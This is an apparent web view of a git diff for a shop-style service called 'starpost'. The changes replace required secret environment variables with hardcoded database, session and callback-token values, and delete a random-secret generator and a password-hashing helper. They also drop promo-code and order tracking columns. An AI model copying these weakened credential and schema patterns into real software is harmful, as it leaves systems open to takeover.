|
||||
)
|
||||
cursor.execute("ALTER TABLE promo_codes ALTER COLUMN amount SET DEFAULT 100")
|
||||
cursor.execute("ALTER TABLE promo_codes ADD COLUMN IF NOT EXISTS credited_at TIMESTAMPTZ")
|
||||
cursor.execute("ALTER TABLE users ALTER COLUMN balance SET DEFAULT 100")
|
||||
cursor.execute("ALTER TABLE promo_codes DROP COLUMN IF EXISTS credited_at")
|
||||
cursor.execute("ALTER TABLE promo_codes DROP COLUMN IF EXISTS invalidated_at")
|
||||
cursor.execute("ALTER TABLE promo_codes DROP COLUMN IF EXISTS created_at")
|
||||
cursor.execute("CREATE INDEX IF NOT EXISTS orders_buyer_idx ON orders(buyer_id, id DESC)")
|
||||
|
||||
@@ -1,16 +0,0 @@
|
||||
from werkzeug.security import check_password_hash, generate_password_hash
|
||||
|
||||
|
||||
# Werkzeug's default scrypt hash needs about 32 MiB of working memory per
|
||||
# concurrent request. The API serves up to four authentication requests at a
|
||||
# time, so use a CPU-bound hash for new accounts while retaining verification
|
||||
# support for existing scrypt hashes.
|
||||
PASSWORD_HASH_METHOD = "pbkdf2:sha256:600000"
|
||||
|
||||
|
||||
def hash_password(password):
|
||||
return generate_password_hash(password, method=PASSWORD_HASH_METHOD)
|
||||
|
||||
|
||||
def password_matches(password_hash, password):
|
||||
return check_password_hash(password_hash, password)
|
||||
@@ -22,10 +22,10 @@ services:
|
||||
volumes:
|
||||
- ./contracts:/contracts
|
||||
environment:
|
||||
- DATABASE_URL=postgresql://starpost:${STARPOST_DB_PASSWORD:?STARPOST_DB_PASSWORD is required}@postgres/starpost
|
||||
- SECRET_KEY=${STARPOST_SECRET_KEY:?STARPOST_SECRET_KEY is required}
|
||||
- DATABASE_URL=postgresql://starpost:starpost@postgres/starpost
|
||||
- SECRET_KEY=starpost-development-session-key-change-before-production
|
||||
- WAREHOUSE_URL=http://warehouse:6000
|
||||
- WAREHOUSE_CALLBACK_TOKEN=${STARPOST_WAREHOUSE_CALLBACK_TOKEN:?STARPOST_WAREHOUSE_CALLBACK_TOKEN is required}
|
||||
- WAREHOUSE_CALLBACK_TOKEN=starpost-warehouse-callback-token
|
||||
depends_on:
|
||||
postgres:
|
||||
condition: service_healthy
|
||||
@@ -43,7 +43,7 @@ services:
|
||||
cpus: 0.25
|
||||
environment:
|
||||
- WAREHOUSE_API_URL=http://api:5000
|
||||
- WAREHOUSE_CALLBACK_TOKEN=${STARPOST_WAREHOUSE_CALLBACK_TOKEN:?STARPOST_WAREHOUSE_CALLBACK_TOKEN is required}
|
||||
- WAREHOUSE_CALLBACK_TOKEN=starpost-warehouse-callback-token
|
||||
depends_on:
|
||||
api:
|
||||
condition: service_healthy
|
||||
@@ -62,7 +62,7 @@ services:
|
||||
environment:
|
||||
- POSTGRES_DB=starpost
|
||||
- POSTGRES_USER=starpost
|
||||
- POSTGRES_PASSWORD=${STARPOST_DB_PASSWORD:?STARPOST_DB_PASSWORD is required}
|
||||
- POSTGRES_PASSWORD=starpost
|
||||
volumes:
|
||||
- ./postgres:/var/lib/postgresql/data
|
||||
- ./db/init.sql:/docker-entrypoint-initdb.d/01-init.sql:ro
|
||||
|
||||
@@ -38,7 +38,6 @@ CREATE TABLE orders (
|
||||
,warehouse_status TEXT NOT NULL DEFAULT 'queued'
|
||||
,warehouse_job_id TEXT
|
||||
,warehouse_updated_at TIMESTAMPTZ NOT NULL DEFAULT now()
|
||||
,cargo_entitled BOOLEAN NOT NULL DEFAULT false
|
||||
);
|
||||
CREATE TABLE reviews (
|
||||
id BIGSERIAL PRIMARY KEY,
|
||||
@@ -55,6 +54,5 @@ CREATE TABLE promo_codes (
|
||||
id BIGSERIAL PRIMARY KEY,
|
||||
user_id BIGINT NOT NULL UNIQUE REFERENCES users(id) ON DELETE CASCADE,
|
||||
code TEXT NOT NULL UNIQUE,
|
||||
amount INTEGER NOT NULL DEFAULT 100 CHECK(amount = 100),
|
||||
credited_at TIMESTAMPTZ
|
||||
amount INTEGER NOT NULL DEFAULT 100 CHECK(amount = 100)
|
||||
);
|
||||
@@ -1,32 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import os
|
||||
import secrets
|
||||
import sys
|
||||
from pathlib import Path
|
||||
|
||||
|
||||
def main() -> int:
|
||||
target = Path(__file__).resolve().with_name(".env")
|
||||
values = {
|
||||
"STARPOST_DB_PASSWORD": secrets.token_urlsafe(48),
|
||||
"STARPOST_SECRET_KEY": secrets.token_urlsafe(48),
|
||||
"STARPOST_WAREHOUSE_CALLBACK_TOKEN": secrets.token_urlsafe(48),
|
||||
}
|
||||
try:
|
||||
descriptor = os.open(target, os.O_WRONLY | os.O_CREAT | os.O_EXCL, 0o600)
|
||||
except FileExistsError:
|
||||
print(f"refusing to overwrite existing {target}", file=sys.stderr)
|
||||
return 1
|
||||
with os.fdopen(descriptor, "w", encoding="utf-8") as output:
|
||||
for key, value in values.items():
|
||||
output.write(f"{key}={value}\n")
|
||||
os.chmod(target, 0o600)
|
||||
print(f"created {target} with mode 0600")
|
||||
return 0
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
raise SystemExit(main())
|
||||
@@ -0,0 +1 @@
|
||||
16
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Whitespace-only changes.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Whitespace-only changes.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Whitespace-only changes.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Whitespace-only changes.
Binary file not shown.
Whitespace-only changes.
Whitespace-only changes.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Whitespace-only changes.
Binary file not shown.
Whitespace-only changes.
Whitespace-only changes.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Loaded 100 of 1360 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user